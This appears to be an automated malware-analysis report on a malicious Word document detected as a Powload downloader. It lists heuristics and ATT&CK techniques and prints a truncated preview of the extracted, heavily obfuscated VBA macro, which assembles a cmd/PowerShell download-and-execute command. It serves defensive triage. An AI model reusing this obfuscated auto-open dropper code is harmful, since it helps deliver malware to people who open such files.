MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. The macro constructs a command string that appears to download and execute a second-stage payload using PowerShell. The ClamAV detection 'Doc.Downloader.Powload-6803405-0' further supports this analysis.
Heuristics 5
-
ClamAV: Doc.Downloader.Powload-6803405-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Powload-6803405-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 38715 bytes |
SHA-256: 763f5643296fcb835996e66b84c6cef9bfb56d1ec61b7ba50fb9bc861065ac80 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "DfsJYNvXJAEcfU" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "nsjJBIK" Function wdZmEtKBWk() On Error Resume Next VarType Hex(iXYXh + TWaPvD) IsArray CCur(ffRFCm) IsArray GATJp ikUwOoszj = "mD /V" + ":o " + " /C " + " " + CStr(Chr(ajhrCtcCGn + llFRFtuMV + 34 + QFrnzsQmtpSo + EMlJqHH)) + " s^ET" + "^ " + "^ ^ ^" + "7^U^=p" + "^o^]er" + "/" + "he" + "^ll^ ^`" IsArray Hex(3) UAkSB = Atn(52) UAkSB = 250811356 pqEjJtWW = "e 1^X" + "2^iX^G" + "kXR^X" + "X^9XG#X" + "Z^" + "Q23" + "^X" + "C^0^Xb^" + "]^2iX^G" + "^o^X^" + "Z^Q2^" + "j^XHQ^" + "X^IX" UAkSB = Val(XzjVwD) IsArray wZUWz VarType mhRKW npkRsL = "^2O" + "X^G" + "^U^X" + "d^XX^uX" + "^FcX^Z" + "Q2iX^E" + "^MXbX2" + "p^X^GU" + "Xbg^20" + "^" + "XD/^X^" + "1X2^" VarType 6578 VarType Rnd(11) EHTumWniwBz = "}^X^" + "E" + "M^X" + "T]X9XCc" + "XaX2" UAkSB = Month(2) IsArray Hex(iZZiJ) IsArray Second(Qraqqs / aTpFR) EUwqaRQjo = "0X^HQ^" + "XcXX^6^" + "XC^8" + "^X^L]" + "^2^z" + "^X" + "^" + "G^#" + "Xb]2^3^" VarType Hex(97393 + iMLhfE) UAkSB = Sgn(16649 - CilSt / 1143 + cHvRNv) UAkSB = Sin(jEHaN - qaRSO) GdXAljhwR = "XGQ^X" + "^" + "b]" + "^2/^XG^" + "]XL^g" + "2^" + "uX^GU" + "^X" + "dXXv" + "XD^I^X" + "R]" wdZmEtKBWk = ikUwOoszj + pqEjJtWW + npkRsL + EHTumWniwBz + EUwqaRQjo + GdXAljhwR IsArray 78726312 UAkSB = 200985733 UAkSB = VtaWN End Function Function XKtmFnZoC() On Error Resume Next VarType CVar(iIrUm / VLKhw) IsArray CCur(ZfHzL) wvVZwfVSk = "^2l^XE^" + "X" + "Xa" + "^X^2" + "^0" + "^XH^QXc" + "^XX6^" + "XC8^XL]" + "2^z" + "XHk^Xb" + "^]2" + "^u^X^GU" + "^" VarType NwHts VarType otABfS IsArray CCur(2) JKwPQuu = "Xbg" + "^2qXHU" + "X^bQ^" + "2]" + "XC^0X^Z" + "g2.XG#" + "^X" + "L^g" UAkSB = AskTw VarType CDec(536) mwnLcJzjwmw = "^2^j^" + "XG^8X^" + "bQ" + "Xv^X^H" + "X^X^b" + "^X^2^X" + "XG^" UAkSB = Month(893) VarType Log(UvPQZ) QGiTw = "g^X^" + "dX^20X^" + "H^X" + "^XOg" + "^XvX" + "C^8^X" + "cX2^o" + "X^G^8^" + "Xe^X2^" + "h" + "XH^" + "IX^dX" + "^XuX" VarType Month(241) UAkSB = 4 oXvcdYllAsK = "G^" + "M^X^b^]" + "^2" + "t^" + "XC" + "^" + "8^X^" IsArray CVar(4598) UAkSB = udnNVn lmCLTEVT = "M^Q^X5X" + "^E^X^" + "Xa^" + "X2" + "0^X^H^" IsArray 286039691 UAkSB = 365539205 rzJMaSHKt = "Q^Xc^" + "XX^6XC^" + "8X^" + "L]" + "^2u^X^G" + "g^X^d" + "^Q2^h" IsArray Str(IHftz) UAkSB = 307532658 UAkSB = 704 AjauKmG = "^" + "X^" + "G]^X" + "Y^Q^" + "25X" + "^H^MX^" VarType zPzLOW IsArray miYUY rVvRlvhXVGj = "YQ2" + "u^X^" + "GcX^Y^" + "]" + "^2v^XG" + "^" + "0^Xc" + "^X" + "^2vX^" + "H" + "MXaQ^" IsArray Fix(SziNp) VarType Sin(67) IsArray Oct(WTKSb * rrMKA - 60563 - 93809) bZZZCpPP = "20^X" + "^G^UXL^" + "g2^jX" + "G8Xb" + "^Q" + "Xv^X" + "^E^0XS" + "^g^2" + "^" + "1XGY^X" + "WQ2XX^G" + "gXd^X^" XKtmFnZoC = wvVZwfVSk + JKwPQuu + mwnLcJzjwmw + QGiTw + oXvcdYllAsK + lmCLTEVT + rzJMaSHKt + AjauKmG + rVvRlvhXVGj + bZZZCpPP IsArray 7922 VarType Fix(wJqXzo) End Function Function WBisKLj() On Error Resume Next IsArray ajDFwq IsArray 9 HoQJhMcWnJj = "2^" + "0XH^" + "XXO^gX" + "vXC" + "8^XbQ2" + "^5^X" + "^G#" + "^XZQ2^" + "pXG" UAkSB = MErBp IsArray ZOVDI VarType 693 SlMjk = "c^Xa^X" + "^2^i" + "^XG8^X" + "c^g^X" + "u^X^GM" + "^Xb]^2" VarType UGhiHL VarType CDbl(470016367) UAkSB = TimeValue(40252 / HJEDp + 56435 * TBknm) AZPHDXMo = "^tXC^#" + "Xd^" + "X2^3^X" + "C8XR" + "^" + "Q2^h^X" + "^Dc^X" + "R]^X^" + "3^X^G^]" + "^" + "X^" IsArray 95 VarType Fix(420638883) qRnJQsqNt = "d]2RXC" + "cX^Lg" + "2^T^X" + "^" + "H^X" + "X" + "bX2p" + "^XHQX" + "KX^X" + ")^X^" + "E" + "X^X1]^" + "Xp^X^D" VarType Int(BjMXBz / 41580) UAkSB = Sgn(32248805) tjqrZUdpYO = "/X1X2" + "Q^" + "X^F" + "EXQ" + "^]Xg^" + "X^D0" + "^X^IXX" + ")XD^YX^" + "+^Q^" VarType 4081 IsArra ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.